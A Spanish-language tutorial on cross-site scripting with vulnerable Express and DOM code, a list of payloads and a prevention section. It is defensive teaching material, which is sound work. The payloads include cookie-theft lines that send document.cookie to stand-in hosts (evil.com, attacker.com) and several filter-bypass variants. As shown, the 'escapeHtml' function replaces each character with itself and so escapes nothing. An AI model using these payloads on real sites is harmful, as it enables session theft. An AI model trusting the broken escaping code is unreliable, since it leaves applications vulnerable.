Cross-Site Scripting (XSS)
Inyección de scripts maliciosos en páginas web vistas por otros usuarios
¿Qué es XSS?
Cross-Site Scripting (XSS) es una vulnerabilidad que permite a un atacante inyectar código JavaScript malicioso en páginas web vistas por otros usuarios. Esto ocurre cuando la aplicación incluye datos no confiables en una página web sin validación o escape adecuados.
Impacto
- • Robo de cookies y tokens de sesión
- • Phishing mediante páginas falsas inyectadas
- • Keylogging y captura de datos sensibles
- • Redirección a sitios maliciosos
- • Defacement (modificar apariencia del sitio)
- • Distribución de malware
Tipos de XSS
1. Reflected XSS (No Persistente)
El script malicioso se refleja inmediatamente en la respuesta. El atacante debe engañar a la víctima para que haga clic en un enlace malicioso.
// URL maliciosa
https://vulnerable-site.com/search?q=<script>alert(document.cookie)</script>
// Código vulnerable (Express.js)
app.get('/search', (req, res) => {
const query = req.query.q;
// ❌ VULNERABLE: insertar directamente en HTML
res.send(`
<h1>Resultados para: ${query}</h1>
<p>No se encontraron resultados</p>
`);
});
// HTML generado (script se ejecuta)
<h1>Resultados para: <script>alert(document.cookie)</script></h1>Vector de ataque: Enlaces en emails, mensajes, sitios comprometidos
2. Stored XSS (Persistente)
El script malicioso se almacena en el servidor (base de datos) y se ejecuta cada vez que se carga la página. Es el tipo más peligroso de XSS.
// Atacante envía comentario malicioso
POST /api/comments
{
"text": "<script>fetch('https://evil.com?cookie='+document.cookie)</script>",
"postId": 123
}
// Código vulnerable
app.post('/api/comments', async (req, res) => {
const { text, postId } = req.body;
// ❌ VULNERABLE: guardar sin sanitizar
await db.comments.create({ text, postId });
res.json({ success: true });
});
// Al cargar comentarios
app.get('/posts/:id', async (req, res) => {
const comments = await db.comments.find({ postId: req.params.id });
// ❌ VULNERABLE: renderizar sin escape
res.send(`
<div class="comments">
${comments.map(c => `<p>${c.text}</p>`).join('')}
</div>
`);
});
// Cada usuario que vea el post ejecutará el script3. DOM-based XSS
La vulnerabilidad existe en el código JavaScript del cliente, no en el servidor.
// URL maliciosa
https://site.com/#<img src=x onerror=alert(document.cookie)>
// Código vulnerable (Frontend)
const hash = window.location.hash.substring(1);
// ❌ VULNERABLE: insertar directamente en DOM
document.getElementById('content').innerHTML = hash;
// Otros sinks peligrosos
element.innerHTML = userInput;
element.outerHTML = userInput;
document.write(userInput);
eval(userInput);
setTimeout(userInput, 100);
element.setAttribute('href', userInput); // puede ser javascript:
window.location = userInput;Ejemplos de Payloads XSS
<!-- Básico -->
<script>alert('XSS')</script>
<!-- Robo de cookies -->
<script>
fetch('https://attacker.com/steal?c=' + document.cookie);
</script>
<!-- IMG tag -->
<img src=x onerror="alert('XSS')">
<!-- SVG -->
<svg onload="alert('XSS')">
<!-- Iframe -->
<iframe src="javascript:alert('XSS')"></iframe>
<!-- Event handlers -->
<body onload="alert('XSS')">
<input onfocus="alert('XSS')" autofocus>
<marquee onstart="alert('XSS')">
<!-- Bypass filters -->
<scr<script>ipt>alert('XSS')</scr</script>ipt>
<SCRIPT>alert('XSS')</SCRIPT>
<script>eval(atob('YWxlcnQoJ1hTUycp'))</script> <!-- base64 -->
<!-- Mutation XSS -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
<!-- HTML entities bypass -->
<script>alert('XSS')</script>
<!-- Unicode/hex bypass -->
<script>\u0061lert('XSS')</script>
<script>\x61lert('XSS')</script>Prevención y Mitigación
1. Output Encoding / Escaping
Escapar caracteres especiales según el contexto.
// React (auto-escaping)
function Comment({ text }) {
return <p>{text}</p>; // ✅ React escapa automáticamente
}
// NUNCA usar dangerouslySetInnerHTML sin sanitizar
// ❌ VULNERABLE
<div dangerouslySetInnerHTML={{__html: userInput}} />
// ✅ Sanitizar primero
import DOMPurify from 'dompurify';
<div dangerouslySetInnerHTML={{__html: DOMPurify.sanitize(userInput)}} />
// Node.js / Express
const escapeHtml = (str) => {
return str
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
};
app.get('/search', (req, res) => {
const query = escapeHtml(req.query.q);
res.send(`<h1>Resultados para: ${query}</h1>`);
});2. Content Security Policy (CSP)
Header HTTP que restringe qué scripts pueden ejecutarse.
// Next.js - next.config.js
const securityHeaders = [
{
key: 'Content-Security-Policy',
value: [
"default-src 'self'",
"script-src 'self' 'unsafe-inline' https://trusted-cdn.com",
"style-src 'self' 'unsafe-inline'",
"img-src 'self' data: https:",
"font-src 'self'",
"connect-src 'self' https://api.example.com",
"frame-ancestors 'none'"
].join('; ')
}
];
module.exports = {
async headers() {
return [{ source: '/:path*', headers: securityHeaders }];
}
};
// Express.js
app.use((req, res, next) => {
res.setHeader(
'Content-Security-Policy',
"default-src 'self'; script-src 'self' 'nonce-random123'"
);
next();
});3. HttpOnly Cookies
Prevenir acceso a cookies vía JavaScript.
// Express.js
res.cookie('sessionId', token, {
httpOnly: true, // No accesible via JavaScript
secure: true, // Solo HTTPS
sameSite: 'strict' // Protección CSRF
});
// Next.js API Route
export default function handler(req, res) {
res.setHeader('Set-Cookie', [
`token=${token}; HttpOnly; Secure; SameSite=Strict; Path=/`
]);
}4. Validación de Entrada
// Whitelist permitidos
const allowedTags = ['b', 'i', 'u', 'p', 'br'];
// Sanitización con DOMPurify
import DOMPurify from 'isomorphic-dompurify';
const cleanHtml = DOMPurify.sanitize(userInput, {
ALLOWED_TAGS: allowedTags,
ALLOWED_ATTR: []
});
// Validación con Joi
const schema = Joi.object({
comment: Joi.string()
.max(500)
.pattern(/^[a-zA-Z0-9\s.,!?-]+$/) // solo caracteres seguros
.required()
});Laboratorio Práctico
Practica identificando y explotando XSS en un entorno seguro:
Ir al Laboratorio XSSRecursos Adicionales
Siguiente Paso
Aprende sobre otra vulnerabilidad crítica de inyección
Cross-Site Request Forgery (CSRF)→